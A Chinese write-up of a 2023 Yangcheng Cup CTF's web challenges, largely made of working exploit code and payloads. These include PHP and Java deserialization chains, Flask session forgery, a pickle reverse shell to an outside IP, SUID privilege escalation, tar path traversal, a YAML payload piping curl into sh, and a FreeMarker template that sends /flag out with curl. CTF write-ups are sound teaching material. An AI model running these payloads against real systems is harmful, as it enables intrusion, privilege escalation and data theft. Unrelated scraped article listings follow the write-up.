2023年“羊城杯”网络安全大赛 Web方向题解wp 全

团队名称:ZhangSan

序号:11


不得不说今年本科组打的是真激烈,初出茅庐的小后生没见过这场面QAQ~
在这里插入图片描述

D0n’t pl4y g4m3!!!

简单记录一下,实际做题踩坑很多,尝试很多。

先扫了个目录,扫出start.sh

image-20230902121229970

内容如下,这个其实和hint一样的,hint就不放了,尊嘟假嘟解密。

image-20230902121243034

开始做题,题目让我访问路由/p0p.php,但是直接跳转到了https://passer-by.com/pacman/。应该是php源码里面有302跳转。

image-20230903001506846

还是太年轻了,一开始以为是前端游戏题,一直在看小游戏的源码。。。。。。

只能说题目名字诚不欺我。那排除了前端小游戏,我们就得想办法拿到p0p.php的源码了。

搜索关键字:php -S 0.0.0.0:80内置服务器任意文件读取源码很容易就搜索到这篇文章:漏洞复现php 5.5.45 - 8.0.2任意文件读取 | CTF导航 (ctfiot.com)

跟着做就好啦,记得burp->左上角重发器->关掉Content-Length自动更新。

PHP内置服务器任意文件读取:版本: 5.5.45 - 8.0.2用法:
GET /p0p.php HTTP/1.1\r\n
Host: 192.168.188.3:8080\r\n
\r\n
\r\n
GET / HTTP/1.1\r\n
\r\n

image-20230902121124367

源码如下:

<?php
header("HTTP/1.1 302 found");
header("Location:https://passer-by.com/pacman/");class Pro{private $exp;private $rce2;public function __get($name){return $this->$rce2=$this->exp[$rce2];}public  function __toString(){call_user_func('system', "cat /flag");}
}class Yang
{public function __call($name, $ary){if ($this->key === true || $this->finish1->name) {if ($this->finish->finish) {call_user_func($this->now[$name], $ary[0]);}}}public function ycb(){$this->now = 0;return $this->finish->finish;}public function __wakeup(){$this->key = True;}
}
class Cheng
{private $finish;public $name;public function __get($value){return $this->$value = $this->name[$value];}
}
class Bei
{public function __destruct(){if ($this->CTF->ycb()) {$this->fine->YCB1($this->rce, $this->rce1);}}public function __wakeup(){$this->key = false;}
}function prohib($a){$filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";return preg_replace($filter,'',$a);
}$a = $_POST["CTF"];
if (isset($a)){unserialize(prohib($a));
}
?>

接下来就是简单的反序列化了。(虽然说题目有点坑)

有了hint知道flag在哪,链子就不会错了,链子:Bei::__destruct()->Yang::__call

给个EXP:

<?php
class Pro{private $exp;private $rce2;public function __get($name){return $this->$rce2=$this->exp[$rce2];}public  function __toString(){//echo `tac /tmp/catcatf1ag.txt`call_user_func('system', "cat /flag");       //   /tmp/catcatf1ag.txt}
}class Yang
{public function __call($name, $ary)  //2{if ($this->key === true || $this->finish1->name) {if ($this->finish->finish) {call_user_func($this->now[$name], $ary[0]);}}}public function ycb(){$this->now = 0;return $this->finish->finish;}public function __wakeup(){$this->key = True;}
}
class Cheng
{private $finish;public $name;public function __get($value){return $this->$value = $this->name[$value];}
}
class Bei
{public function __destruct()//1{if ($this->CTF->ycb()) {$this->fine->YCB1($this->rce, $this->rce1);//2}}public function __wakeup(){$this->key = false;}
}
/*
function prohib($a){$filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";return preg_replace($filter,'',$a);
}
*/$aa=new Bei();
$aa->CTF=new Yang();    //if
$aa->CTF->finish->finish=true;$aa->fine=new Yang();
$aa->fine->key=true;
$aa->rce='tac /tmp/catcatf1ag.txt';
$aa->rce1='tac /tmp/catcatf1ag.txt';$aa->fine->finish->finish=true;
$aa->fine->now=array('YCB1'=>'syssystemtem');//echo urlencode(serialize($aa));$b=serialize($aa);
echo $b;//unserialize($b);//O:3:"Bei":4:{s:3:"CTF";O:4:"Yang":1:{s:6:"finish";O:8:"stdClass":1:{s:6:"finish";b:1;}}s:4:"fine";O:4:"Yang":3:{s:3:"key";b:1;s:6:"finish";O:8:"stdClass":1:{s:6:"finish";b:1;}s:3:"now";a:1:{s:4:"YCB1";s:6:"syssystemtem";}}s:3:"rce";s:23:"tac /tmp/catcatf1ag.txt";s:4:"rce1";s:23:"tac /tmp/catcatf1ag.txt";}function prohib($aa){$filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";return preg_replace($filter,'',$aa);
}

双写绕过prohib(),改长度。(12->6)

s:12:"syssystemtem";     //原始,system双写了
s:6:"syssystemtem";      //12->6
s:6:"system";            //经过prohib(),只过滤替换一次,所以可以双写绕过

记得开启Content-Length自动更新,要不然寄。

image-20230902121133885

Serpent

开题。

image-20230903010807375

题目描述叫我们注意www.zip。访问下载,得到源码。

from flask import Flask, session
from secret import secret@app.route('/verification')
def verification():try:attribute = session.get('Attribute')if not isinstance(attribute, dict):raise Exceptionexcept Exception:return 'Hacker!!!'if attribute.get('name') == 'admin':if attribute.get('admin') == 1:return secretelse:return "Don't play tricks on me"else:return "You are a perfect stranger to me"if __name__ == '__main__':app.run('0.0.0.0', port=80)

和session相关,我们的session是:

eyJBdHRyaWJ1dGUiOnsiYWRtaW4iOjAsIm5hbWUiOiJHV0hUIiwic2VjcmV0X2tleSI6IkdXSFRTeXdUdThtNmtJIn19.ZPK0kQ.Lz2QvFZ9lCdDv2y-n9RkT7CHkEU

以为是JWT,解密一下看payload就知道不是。

image-20230903011130286

注意到这里有secret_key,猜测是session伪造。

image-20230903011236027

破解session:

python flask_session_cookie_manager3.py decode -s "GWHTSywTu8m6kI" -c "eyJBdHRyaWJ1dGUiOnsiYWRtaW4iOjAsIm5hbWUiOiJHV0hUIiwic2VjcmV0X2tleSI6IkdXSFRTeXdUdThtNmtJIn19.ZPK0kQ.Lz2QvFZ9lCdDv2y-n9RkT7CHkEU"

伪造session:(伪造要求在源码里面)

python flask_session_cookie_manager3.py encode -s "GWHTSywTu8m6kI" -t "{'Attribute': {'admin': 1, 'name': 'admin', 'secret_key': 'GWHTSywTu8m6kI'}}"

得到伪造的session

eyJBdHRyaWJ1dGUiOnsiYWRtaW4iOjEsIm5hbWUiOiJhZG1pbiIsInNlY3JldF9rZXkiOiJHV0hUd1gxWW1ob3lnZyJ9fQ.ZPKyrQ.zn60ktc6EtGIByZ0wc3XlDIwvxs

image-20230902123005394

返回Hello admin, welcome to /ppppppppppick1e

image-20230902120944015

访问/ppppppppppick1e路由,返回Hint: Source in /src0de

image-20230902122335512

访问路由/src0de,返回源码,好套。

@app.route('/src0de')
def src0de():f = open(__file__, 'r')rsp = f.read()f.close()return rsp[rsp.index("@app.route('/src0de')"):]@app.route('/ppppppppppick1e')
def ppppppppppick1e():try:username = "admin"rsp = make_response("Hello, %s " % username)rsp.headers['hint'] = "Source in /src0de"pick1e = request.cookies.get('pick1e')if pick1e is not None:pick1e = base64.b64decode(pick1e)else:return rspif check(pick1e):pick1e = pickle.loads(pick1e)return "Go for it!!!"else:return "No Way!!!"except Exception as e:error_message = str(e)return error_messagereturn rspclass GWHT():def __init__(self):passif __name__ == '__main__':app.run('0.0.0.0', port=80)

经过测试,过滤了__ruduce__

那就换一个没有__ruduce__的payload:pickle反序列化的利用技巧总结 - 知乎 (zhihu.com)

import base64
data=import base64
data=b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/120.46.41.173/9023 0>&1"'
o.'''
print(base64.b64encode(data))

POC:

pick1e=KGNvcwpzeXN0ZW0KUydiYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwLzEyMC40Ni40MS4xNzMvOTAyMyAwPiYxIicKby4=

image-20230902144749491

image-20230902134305535

直接getflag行不通,还得提权,好好好。

image-20230902134350592

尝试find提权,无果。https://www.cnblogs.com/aaak/p/15718561.html

#查看find命令位置
which find#查看 find 命令权限
ls -l  /usr/bin/find   #  这是find 默认位置-rwxr-xr-x 1 root root 320160 Feb 18  2020 /usr/bin/find
# 有s表示可以提权,这里没有哦,所以行不通。。。。。。

image-20230902134718846

算了,按流程走一遍提权。

/usr/bin目录ls -alsh,发现python3.8有s权限位(suid)。

...
...
...
...
5.3M -rwsr-xr-x 1 root root   5.3M May 26 14:05 python3.8
...
...
...
...

cap_setuid提权:Linux提权之:利用capabilities提权 - f_carey - 博客园 (cnblogs.com)

相当于又开启了一个shell,但是权限是python的。

python3.8 -c 'import os; os.setuid(0); os.system("/bin/sh")'

然后就能顺畅的getflag了。

image-20230902141251338

image-20230902140835111

其实su也有s权限位,一开始想用su提权,su是可以切换用户的,像kali中的sudo su或者su root切换root用户,但是需要root用户密码,不能用于suid提权。

好文不谢:https://gtfobins.github.io/

ArkNights

非预期直接拿下一血了。

image-20230902162217866

非预期是/read路由读取环境变量。

image-20230902162346415

放个源码赛后复现预期,先去写别的了:

# 导入所需模块
import uuid  # 用于生成唯一标识符
from flask import *  # 导入 Flask 框架的相关模块
from werkzeug.utils import *  # 导入 Werkzeug 工具类的相关模块# 创建 Flask 应用实例
app = Flask(__name__)# 设置应用的 SECRET_KEY
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "*") + "Boogipopisweak"# 定义根路径的路由和视图函数
@app.route('/')
def index():# 获取名为 "name" 的查询参数,如果不存在则使用默认值 "name"name = request.args.get("name", "name")# 获取名为 "m1sery" 的查询参数,如果不存在则使用默认值 "Doctor.Boogipop",并将其放入列表中m1sery = [request.args.get("m1sery", "Doctor.Boogipop")]# 检查会话中的 "name" 是否等于 "Dr.Boog1pop"if session.get("name") == "Dr.Boog1pop":# 对 "name" 执行黑名单检查,使用正则表达式查找潜在的恶意字符blacklist = re.findall("/ba|sh|\\\\|\[|]|#|system|'|\"/", name, re.IGNORECASE)if blacklist:return "bad hacker no way"  # 如果检测到黑名单字符,返回拒绝访问消息# 执行一段动态生成的代码,此处使用了 f-stringexec(f'for [{name}] in [{m1sery}]:print("strange?")')else:session['name'] = "Doctor"  # 如果会话中的 "name" 不是 "Dr.Boog1pop",将其设置为 "Doctor"# 渲染名为 "index.html" 的模板,并传递会话中的 "name" 到模板中return render_template("index.html", name=session.get("name"))# 定义 "/read" 路由,用于读取文件
@app.route('/read')
def read():# 获取名为 "file" 的查询参数,表示要读取的文件名file = request.args.get('file')# 对文件名进行黑名单检查,使用正则表达式查找潜在的恶意字符fileblacklist = re.findall("/flag|fl|ag/", file, re.IGNORECASE)if fileblacklist:return "bad hacker!"  # 如果检测到黑名单字符,返回拒绝访问消息# 获取名为 "start" 和 "end" 的查询参数,表示文件读取的起始位置和结束位置start = request.args.get("start", "0")end = request.args.get("end", "0")if start == "0" and end == "0":# 如果起始位置和结束位置均为 0,则读取整个文件内容,并以二进制形式返回return open(file, "rb").read()else:# 否则,将起始位置和结束位置转换为整数,并按照指定位置读取文件内容start, end = int(start), int(end)f = open(file, "rb")f.seek(start)data = f.read(end)return data  # 返回读取到的数据# 定义动态路由,用于渲染页面,动态路由的路径参数是 "path"
@app.route("/<path:path>")
def render_page(path):# 检查是否存在名为 "templates/" + path 的文件if not os.path.exists("templates/" + path):return "not found", 404  # 如果文件不存在,返回 404 错误# 渲染指定路径的模板return render_template(path)# 如果该脚本直接运行,启动 Flask 应用
if __name__ == '__main__':app.run(debug=False,  # 关闭调试模式host="0.0.0.0"  # 监听所有可用的网络接口)print(app.config['SECRET_KEY'])  # 打印应用的 SECRET_KEY

ezyaml

源码直接给了。

# 创建 Flask 应用实例
app = Flask(__name__)# 定义 WAF(Web Application Firewall)函数,用于检查输入是否包含恶意关键词
def waf(s):flag = Trueblacklist = ['bytes', 'eval', 'map', 'frozenset', 'popen', 'tuple', 'exec', '\\', 'object', 'listitems', 'subprocess', 'object', 'apply']for no in blacklist:if no.lower() in str(s).lower():flag = Falseprint(no)breakreturn flag# 定义提取文件的函数
def extractFile(filepath, type):extractdir = filepath.split('.')[0]if not os.path.exists(extractdir):os.makedirs(extractdir)if type == 'tar':tf = tarfile.TarFile(filepath)tf.extractall(extractdir)return tf.getnames()# 定义根路由和视图函数,用于显示主页
@app.route('/', methods=['GET'])
def main():fn = 'uploads/' + md5().hexdigest()if not os.path.exists(fn):os.makedirs(fn)return render_template('index.html')# 定义上传文件的路由和视图函数
@app.route('/upload', methods=['GET', 'POST'])
def upload():if request.method == 'GET':return redirect('/')if request.method == 'POST':upFile = request.files['file']print(upFile)# 检查文件名是否包含恶意字符,如 ".." 或 "/"if re.search(r"\.\.|/", upFile.filename, re.M|re.I) != None:return "<script>alert('Hacker!');window.location.href='/upload'</script>"savePath = f"uploads/{upFile.filename}"print(savePath)upFile.save(savePath)# 检查上传的文件是否为 tar 文件,如果是,则解压文件并获取其中的文件列表if tarfile.is_tarfile(savePath):zipDatas = extractFile(savePath, 'tar')return render_template('result.html', path=savePath, files=zipDatas)else:return f"<script>alert('{upFile.filename} upload successfully');history.back(-1);</script>"# 定义查看源代码的路由和视图函数
@app.route('/src', methods=['GET'])
def src():if request.args:username = request.args.get('username')with open(f'config/{username}.yaml', 'rb') as f:Config = yaml.load(f.read())return render_template('admin.html', username="admin", message="success")else:return render_template('index.html')# 启动 Flask 应用,监听在 0.0.0.0:8000
if __name__ == '__main__':app.run(host='0.0.0.0', port=8000)

思路很明显,/upload路由想办法上传yaml文件到/config//src路由想办法解析yaml文件。

我们分为上传路径问题和解析问题。

首先是上传路径问题,过滤了../,尝试使用全角字符尝试失败。

﹒﹒/﹒﹒/﹒﹒/﹒﹒/﹒﹒/etc/passwd

image-20230902172400220

直接上传文件失败,那就从压缩包入手。源码里面tar不查里面文件的文件名。

# 检查上传的文件是否为 tar 文件,如果是,则解压文件并获取其中的文件列表if tarfile.is_tarfile(savePath):zipDatas = extractFile(savePath, 'tar')return render_template('result.html', path=savePath, files=zipDatas)

但是遇到了一个问题,windows和linux都不支持文件名包含/,010也改不了tar,无法路径穿越。

搜索关键词:python tar压缩包 目录遍历 任意文件读取

可以搜到:CVE-2007-4559,用来绕过路径问题。虽然是07年的CVE,但是22年又翻出来了。

前面三篇可以对其大概有所了解,利用看后面三篇。

一个 15 年未修补 Python 漏洞让攻击者可以执行代码:35 万个开源代码存储库岌岌可危-腾讯云开发者社区-腾讯云 (tencent.com)

被忽视15年的CVE-2007-4559 Python漏洞 导致35万项目陷入代码执行风险|python|cve|存储库_网易订阅 (163.com)

CVE-2007-4559原理及复现 - 边窗/SideWindow (peirs.net)

CVE-2007-4559漏洞学习 – l1_Tuer’s blog (l1tuer.space)

【WP】NSSCTF Round#6 web3-check(Revenge)复现 - br0sy’s blog

NSSCTF Round#6-web (pankas.top)

tarfile文件覆盖漏洞(CVE-2007-4559)Python 中 tarfile 模块中的extract、extractFile和extractall 函数中的目录遍历漏洞 允许 用户协助的远程攻击者通过 TAR 存档文件名中的..和/遍历目录 和 写入/覆盖任意文件

image-20230903022731882

拿第四篇的脚本稍微改一下就能用了:

import re     # 导入正则表达式模块
import time   # 导入时间模块
import requests as req   # 导入requests库,用于发送HTTP请求
import tarfile   # 导入tarfile库,用于创建和解压tar文件url = 'http://8000.endpoint-7d9b62edec9940c39d61c504575a64e0.m.ins.cloud.dasctf.com:81/'   # 设置目标URL
filename = r"1.yaml"   # 设置要上传的文件名def changeFileName(filename):filename.name='../../../../../app/config/jay.yaml'   # 修改文件名return filenamewith tarfile.open("jay.tar", "w") as tar:   # 创建名为jay.tar的tar文件tar.add(filename, filter=changeFileName)   # 将指定的文件添加到tar文件中,并通过filter参数修改文件名def upload(rawurl):url = rawurl + "upload"   # 拼接完整的上传URLresponse = req.post(url=url, files={"file": open("exp.tar", 'rb')})   # 发送POST请求,上传exp.tar文件print(response.text)   # 打印响应内容def getFlag(rawurl):url = rawurl + 'src?username=jay'   # 拼接完整的解析URL,解析执行/config/jay.yaml文件response = req.get(url)   # 发送GET请求,下载文件print(response.content)   # 打印响应内容if __name__ == "__main__":upload(url)   # 调用upload函数,上传文件time.sleep(3)   # 等待3秒#getFlag(url)   # 调用getFlag函数,解析执行/config/jay.yaml文件

运行后yaml文件就被成功写入/config/目录了。(这里试验时文件内容是111)

image-20230903023400445

访问/src?username=jay不报错500,就是写入成功了。

image-20230903023448541


接下来就是解析问题了,源码中暂时没看见过滤yaml文件内容的语句。但是注意到waf函数一直没有使用。感觉这个waf函数是检查我yaml文件的。尝试了一下还真是,估计出题人没有完全把源码给我们。

def waf(s):flag = Trueblacklist = ['bytes', 'eval', 'map', 'frozenset', 'popen', 'tuple', 'exec', '\\', 'object', 'listitems', 'subprocess', 'object', 'apply']for no in blacklist:if no.lower() in str(s).lower():flag = Falseprint(no)breakreturn flag

绕过方法:SecMap - 反序列化(PyYAML) - Tr0y’s Blog

tar包里面1.yaml的内容:(加载uploads/17.py)

!!python/module:uploads.17.py

所以在访问/src?username=jay前,我们还要上传一个.py文件。

image-20230903023908612

内容是:(利用平台弹shell,用curl就行了)

import os
os.system('curl https://your-shell.com/120.46.41.173:9023 |sh')

访问/src?username=jay,自动弹shell。

image-20230903024210088

Ez_java

考点:java反序列化,动态代理,模板注入,http信道带出数据。

链子如下:BadAttributeValueExpException::readObject -> Map::toString -> HtmlInvocationHandler::invoke -> HtmlMap::get -> HtmlUploadUtil::uploadfile


先分析一下web路由的作用:(IndexController)

/:输出"Welcome to YCB"

/templating:渲染模板

/getflag:传入data,base64解码+反序列化

image-20230903050702439

然后是HtmlInvocationHandler类中的invoke方法。这个方法可以就行动态代理,代理的类方法会被拦截并且执行HtmlInvocationHandlerobj属性的get方法。

image-20230903051129342

public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {Object result = this.obj.get(method.getName());return result;}

HTMLmap类的get方法,可以上传文件,是利用点。

image-20230903051211121

public Object get(Object key) {try {Object obj = HtmlUploadUtil.uploadfile(this.filename, this.content);return obj;} catch (Exception var4) {throw new RuntimeException(var4);}}

然后看HtmlUploadUtil()类:

public static boolean uploadfile(String filename, String content) {if (filename != null && !filename.endsWith(".ftl")) {return false;} else {String realPath = "/app/templates/" + filename;if (!realPath.contains("../") && !realPath.contains("..\\")) {try {BufferedWriter writer = new BufferedWriter(new FileWriter(realPath));writer.write(content);writer.close();return true;} catch (IOException var4) {System.err.println("Error uploading file: " + var4.getMessage());return false;}} else {return false;}}}

上传的文件必须是.ftl后缀结尾的文件,ftl是java的一个模板类。前面说了HTMLmap类的get方法,可以上传文件,是利用点。那就有可能上传ftl文件覆盖原文件,使模板渲染恶意文件中的恶意代码执行命令。

这里直接执行命令没有回显。无文件写入权限也不能反弹shell,最后选择用http信道带出文件,猜测flag在/flag

curl -T /flag http://120.46.41.173:9023

image-20230903051846349

POC:

package com.jiangshiqi;/*** @ClassName EXP* @Author 86159* @Date 2023/9/2* @Version 1.0*/import com.ycbjava.Bean.HtmlBean;
import com.ycbjava.Utils.HtmlInvocationHandler;
import com.ycbjava.Utils.HtmlMap;
import com.ycbjava.Utils.NewObjectInputStream;import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.Map;public class EXP {public static void main(String[] args) throws Exception {HtmlMap htmlMap = new HtmlMap();htmlMap.filename = "index.ftl";htmlMap.content = "<!DOCTYPE html><html lang=\"en\"><head><meta charset=\"UTF-8\"><#assign ac=springMacroRequestContext.webApplicationContext><#assign fc=ac.getBean('freeMarkerConfiguration')><#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()><#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${\"freemarker.template.utility.Execute\"?new()(\"curl -T /flag http://120.46.41.173:9023\")}</head><body></body></html>";Class clazz = Class.forName("com.ycbjava.Utils.HtmlInvocationHandler");Constructor firstConstructor = clazz.getDeclaredConstructors()[0];firstConstructor.setAccessible(true);Map root012map = (Map) Proxy.newProxyInstance(EXP.class.getClassLoader(),new Class[]{Map.class},(InvocationHandler) firstConstructor.newInstance(htmlMap));InvocationHandler htmlInvocationHandler = (InvocationHandler)firstConstructor.newInstance(root012map);BadAttributeValueExpException exception = newBadAttributeValueExpException(null);Field valfield = exception.getClass().getDeclaredField("val");valfield.setAccessible(true);valfield.set(exception, root012map);ByteArrayOutputStream byteArrayOutputStream = newByteArrayOutputStream();ObjectOutputStream objectOutputStream = newObjectOutputStream(byteArrayOutputStream);objectOutputStream.writeObject(exception);byteArrayOutputStream.flush();byte[] bytes = byteArrayOutputStream.toByteArray();String encode = Base64.getEncoder().encodeToString(bytes);System.out.println(encode);NewObjectInputStream objectInputStream = new NewObjectInputStream(newByteArrayInputStream(byteArrayOutputStream.toByteArray()));objectInputStream.readObject();}
}

生成序列化字符串:

image-20230903052226194

url编码后上传

/getflag?data=xxxxx

image-20230903052308629

/templating?name=Jay17

vps的9023端口接到监听

image-20230903052411555

EZ_web【没出,之后补】

扫出目录upload.php

image-20230902150609688

有三个功能,上传文件、执行命令、列出目录。

image-20230903053117750

flag就在/flag.txt

image-20230903053147758

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/117905.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Compose学习 - 环境配置及compose、kotlin插件、gradle、AndroidStudio版本对应关系

最近学习Compose&#xff0c;一开始学习的Compose版本是1.1.1&#xff0c;学习的过程中发现&#xff0c; LazyHorizontalGrid这个方法只有在1.2.0以后版本才支持。 想着既然要升级&#xff0c;直接用最新的好了。后面按照官网建议&#xff0c;下载了最新的AndroidStudio&#…

初步了解ES

一、ES基础查询 1、es基础查询 1.1 准备数据 # 准备数据 PUT test_index/_doc/1 {"name":"顾老二","age":30,"from": "gu","desc": "皮肤黑、武器长、性格直","tags": ["黑", &…

【100天精通Python】Day52:Python 数据分析_Numpy入门基础与数组操作

目录 1 NumPy 基础概述 1.1 NumPy的主要特点和功能 1.2 NumPy 安装和导入 2 Numpy 数组 2.1 创建NumPy数组 2.2 数组的形状和维度 2.3 数组的数据类型 2.4 访问和修改数组元素 3 数组操作 3.1 数组运算 3.2 数学函数 3.3 统计函数 4 数组形状操作 4.1 重塑数组形…

nvm安装electron开发与编译环境

electron总是安装失败&#xff0c;下面说一下配置办法 下载软件 nvm npmmirror 镜像站 安装nvm 首先最好卸载node&#xff0c;不卸载的话&#xff0c;安装nvm会提示是否由其接管&#xff0c;保险起见还是卸载 下载win中的安装包 配置加速节点nvm node_mirror https://npmmi…

Java 中数据结构LinkedList的用法

LinkList 链表&#xff08;Linked list&#xff09;是一种常见的基础数据结构&#xff0c;是一种线性表&#xff0c;但是并不会按线性的顺序存储数据&#xff0c;而是在每一个节点里存到下一个节点的地址。 链表可分为单向链表和双向链表。 一个单向链表包含两个值: 当前节点…

PATH系统环境变量配置教程【图文步骤】

开发Java程序&#xff0c;需要使用JDK提供的开发工具(比如javac.exe、java.exe等命令)&#xff0c;而这些工具在JDK的安装目录的 bin目录下&#xff0c;如果不配置环境变量&#xff0c;那么这些命令只可以在该目录下执行。我们不可能把所有的java文件都放到JDK 的bin目录下&…

​7.3 项目3 贪吃蛇(控制台版) (A)​

C自学精简实践教程 目录(必读) 主要考察 模块划分 / 文本文件读取 UI与业务分离 / 模块划分 控制台交互 / 数据抽象 需求 用户输入字母表示方向&#xff0c;实现贪吃蛇游戏 规则&#xff1a;碰到边缘和碰到蛇自己都算游戏结束 输入文件 data.txt data.txt 内容如下&am…

MySQL数据库备份及恢复

数据备份的重要性 1、备份的主要目的是灾难恢复 2、在生产环境中&#xff0c;数据的安全性至关重要 3、任何数据的丢失都可能产生严重的后果 4、造成数据丢失的原因 备份类型(重点) 1、物理备份 数据库备份可以分为物理备份和逻辑备份。物理备份是对数据库操作系统的物…

kafka详解一

kafka详解一 1、消息引擎背景 根据维基百科的定义&#xff0c;消息引擎系统是一组规范。企业利用这组规范在不同系统之间传递语义准确的消息&#xff0c;实现松耦合的异步式数据传递. 即&#xff1a;系统 A 发送消息给消息引擎系统&#xff0c;系统 B 从消息引擎系统中读取 A…

城市白模三维重建

收费工具&#xff0c;学生党勿扰&#xff0c;闹眼子当勿扰 收费金额&#xff1a;2000元&#xff0c;不能开发票 1 概述 几个月前&#xff0c;一家小公司找我帮忙给他们开发一个程序&#xff0c;可以将一个城市进行白模的三维重建。 报酬大约5K。经过不懈的努力&#xff0c;终于…

分布式集群——搭建Hadoop环境以及相关的Hadoop介绍

系列文章目录 分布式集群——jdk配置与zookeeper环境搭建 分布式集群——搭建Hadoop环境以及相关的Hadoop介绍 文章目录 前言 一 hadoop的相关概念 1.1 Hadoop概念 补充&#xff1a;块的存储 1.2 HDFS是什么 1.3 三种节点的功能 I、NameNode节点 II、fsimage与edits…

国产工业软件的挑战与机遇:风口是否还在燃烧?

随着智能制造与数字化转型等新型工业理念的推广&#xff0c;工业软件在工业领域中的地位日益重要。在这个过程中&#xff0c;国产工业软件也迎来了新的发展机遇。然而&#xff0c;对于国产工业软件而言&#xff0c;是否存在着发展的“风口”&#xff1f;今天&#xff0c;我们将…

【C++技能树】继承概念与解析

Halo&#xff0c;这里是Ppeua。平时主要更新C&#xff0c;数据结构算法&#xff0c;Linux与ROS…感兴趣就关注我bua&#xff01; 继承 0. 继承概念0.1 继承访问限定符 1. 基类和派生类对象赋值兼容转换2. 继承中的作用域3. 派生类中的默认成员函数4.友元5.继承中的静态成员6.菱…

如何飞速成为开源贡献者(Contributor)

如何飞速成为开源贡献者Contributor 一、环境信息1.1 硬件信息1.2 软件信息 二、Git安装2.1 Git介绍2.2 Git下载安装 三、开源项目选定四、GitHub参与开源流程4.1 Fork项目4.2 SSH配置4.2.1 为什么要配置SSH4.2.2 如何配置SSH 4.3 Clone项目4.4 IDEA关联4.5 PR生成4.6 PR提交 一…

STM32f103入门(9)编码器接口测速

TIM3 PA6 PA7 上拉输入 原理上也是PWM捕获输入 捕获两个输入 我们用中断处理读取CNT的值 读取完将CNT置0 这样我们就得到了旋转编码器的速度/s 中断配置代码 #include "stm32f10x.h" // Device headervoid Timer_Init(void) {RCC_APB1PeriphClockC…

SWAT-MODFLOW地表水与地下水耦合

耦合模型被应用到很多科学和工程领域来改善模型的性能、效率和结果&#xff0c;SWAT作为一个地表水模型可以较好的模拟主要的水文过程&#xff0c;包括地表径流、降水、蒸发、风速、温度、渗流、侧向径流等&#xff0c;但是对于地下水部分的模拟相对粗糙&#xff0c;考虑到SWAT…

com.google.guava:guava 组件安全漏洞及健康分析

组件简介 维护者google组织许可证类型Apache-2.0首次发布2010 年 4 月 26 日最新发布时间2023 年 8 月 1 日GitHub Star48189GitHub Fork10716依赖包28,694依赖存储库219,576 Guava 是 Google 的一组核心 Java 库&#xff0c;其中包括新的集合类型&#xff08;例如 multimap 和…

Web安全——穷举爆破上篇(仅供学习)

Web安全 一、概述二、常见的服务1、burpsuite 穷举后台密码2、burpsuite 对 webshell 穷举破解密码3、有 token 防御的网站后台穷举破解密码3.1 burpsuite 设置宏获取 token 对网站后台密码破解3.2 编写脚本获取token 对网站后台密码破解 4、针对有验证码后台的穷举方法4.1 coo…

ElasticSearch安装为Win11服务

在windows的环境下操作是Elasticsearch,并且喜欢使用命令行 &#xff0c;启动时通过cmd直接在elasticsearch的bin目录下执行elasticsearch ,这样直接启动的话集群名称会默elasticsearch&#xff0c;节点名称会随机生成。 停止就直接在cmd界面按CtrlC 其实我们也可以将elasticse…

一篇文章教会你什么是二叉搜索树

二叉搜索树 二叉搜索树概念二叉搜索树操作1.二叉搜索树的查找2.二叉搜索树的插入3.二叉搜索树的删除4.二叉搜索树的遍历 二叉搜索树的实现1.二叉搜索树节点结构2.二叉搜索树类3.二叉搜索树的构造及析构4.二叉搜索树的拷贝构造及赋值重载5.二叉搜索树插入6.二叉搜索树查找7.二叉…